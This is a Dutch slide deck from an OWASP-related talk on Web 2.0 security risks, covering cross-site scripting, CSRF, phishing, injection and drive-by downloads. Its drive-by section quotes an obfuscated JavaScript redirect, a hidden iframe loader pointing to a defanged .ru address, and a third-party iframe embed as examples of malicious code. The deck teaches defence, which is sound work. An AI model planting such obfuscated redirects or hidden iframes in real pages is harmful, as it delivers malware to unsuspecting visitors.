

Web 2.0 ! Security 2.0

Ferdinand Vroom

Agenda

- Web 2.0/ Enterprise 2.0
- Kwetsbaarheden
- Ontwikkelen en testen
- Drive By Downloads
- Conclusies

Web 2.0

Web 2.0/ Enterprise 2.0

- Scheiding werk & prive
- "Nieuwe" technieken
- Syndicatie

Kwetsbaarheden

Onvoldoende Authenticatie Controle

- (Meerdere) Gebruikers/ beheerders
- Wijzigingen kunnen misbruikt worden
- Single Sign On

Kwetsbaarheden

Cross Site Scripting

- Geformateerde content (html/ JavaScript)
- Stored
- Reflected
- DOM

Kwetsbaarheden

Cross Site Request Forgery

- Kwaadaardige code in vertrouwde website
- Verzoek naar andere website
- Geen visuele feedback

Kwetsbaarheden

Phishing

- Veelheid aan ongelijksoortige clients
- Onderscheid tussen echt en vals
- MGT02, Forum 1e verdieping direct na deze sessie

Kwetsbaarheden

Informatie verlies

- Onderscheid tussen werk en prive
- Digitaal exhibitionisme
- Per ongeluk delen van informatie
- Kleine stukjes niet gevoelige informatie

Kwetsbaarheden

Injectie fouten

- XML/ XPATH/ JavaScript/ JSON
- Meer gebruik leidt tot toename kwetsbaarheden
- Client Side Code & Validatie

Kwetsbaarheden

Integriteit van informatie

- (Onbedoelde) Misinformatie
- Verhoogd risico bij open systemen met veel gebruikers

Kwetsbaarheden

Onvoldoende anti- automatisering

- API's vereenvoudigen aanvallen
- Brute Force
- Captcha

Ontwikkelen en Testen

- Ontwikkelmethodiek:
security integraal onderdeel
- M\$ Security Development Lifecycle
- Training: OWASP WebGoat
- Verificatie: OWASP Application Security Verification Standard
- Testen: OWASP Life CD

Drive By Downloads

- Malware (html/ JavaScript)
- Pull- Based
- Web 2.0 technieken
- Looser feedback loop
- Advertenties, widgets, bijdragen van gebruikers, webserver beveiliging
- Obfuscation
- iFrame

Drive By Downloads

Advertenties

Kleine stukjes JavaScript

Derden

Syndicatie

Vertrouwen is niet overgankelijk

Eerste partij verantwoordelijk

Drive By Downloads

Widgets

Derden

Embedded link naar extern iFrame of JavaScript

```
<iframe  
src="http://www.iframemoney.org/banner.php?id=yourid"  
width="460" height="60"...>  
</iframe>
```

Drive By Downloads

JavaScript Obfuscation

```
<SCRIPT language=JavaScript>
function otqzyu(nemz)juyu="lo";sdfwe78="catio";
kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="( ";
awq27="";sftfttft=4;fghdh=" ht";ji87gkol="tp:/";
polkiuu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re";
jkhuift="e.c";jygyhg="om";dh4=eval(fghdh+ji87gkol+
polkiuu+jbhj89+jhbhi87+hgdxgf+jkhuift+jygyhg);je15=")";
if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+
iuiuh8889+vbb25+awq27+dh4+je15);
otqzyu();//
</SCRIPT>
```

Drive By Downloads

JavaScript Obfuscation

```
<SCRIPT language=JavaScript>
function otqzyu(nemz)juyu="lo";sdfwe78="catio";
kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="(";
awq27="";sftfttft=4;fghdh="'ht";ji87gkol="tp:/";
polkiuu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re";
jkhuift="e.c";jygyhg="om'";dh4=eval(fghdh+ji87gkol+
polkiuu+jbhj89+jhbhi87+hgdxgf+jkhuift+jygyhg);je15=")";
if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+
iuiuh8889+vbb25+awq27+dh4+je15);
otqzyu();//
</SCRIPT>
```

Drive By Downloads

iFrames

Evolutie van het verstoppen

width=0 height=0, height=0, width=2 height=4

style="visibility: hidden"

<div style= "display:none">

onload="if (!this.src){ this.src='hxxp://iqmon .ru:8080/ index.php'; this.height='0'; this.width='0';}"

Conclusies

- De groei van Web 2.0 applicaties overstijgt de beveiliging ervan
- Web 2.0 applicaties hebben dezelfde beveiligings uitdagingen als traditionele web applicaties
De uitdagingen zijn alleen groter
- Zorg ervoor dat je de code van een ander kunt vertrouwen
- De gebruiker is de zwakste schakel
- We hebben een uitdagend vak:)

Free entrance but inscription mandatory
<http://benelux.eventbrite.com>



BeNeLux OWASP Day 2009

12:00 - 16:00 - Workshop
Matt Tesauro - OWASP Live CD

16:00 - 22:00 - Talks

Complete program on http://www.owasp.org/event_page

Wednesday, December 2nd 2009

**College De Valk
Tiensestraat 41
B-3000 Leuven**

*Co-organized by the
Belgium, Netherlands and
Luxembourg chapters*

Linkzzz

Top 8 Web 2.0 Kwetsbaarheden:

<http://www.secure-enterprise20.org>

Kwetsbaarheden:

<http://www.xiom.com/whid-2009>

Open Web Application Project:

<http://www.owasp.org/index.php/Netherlands>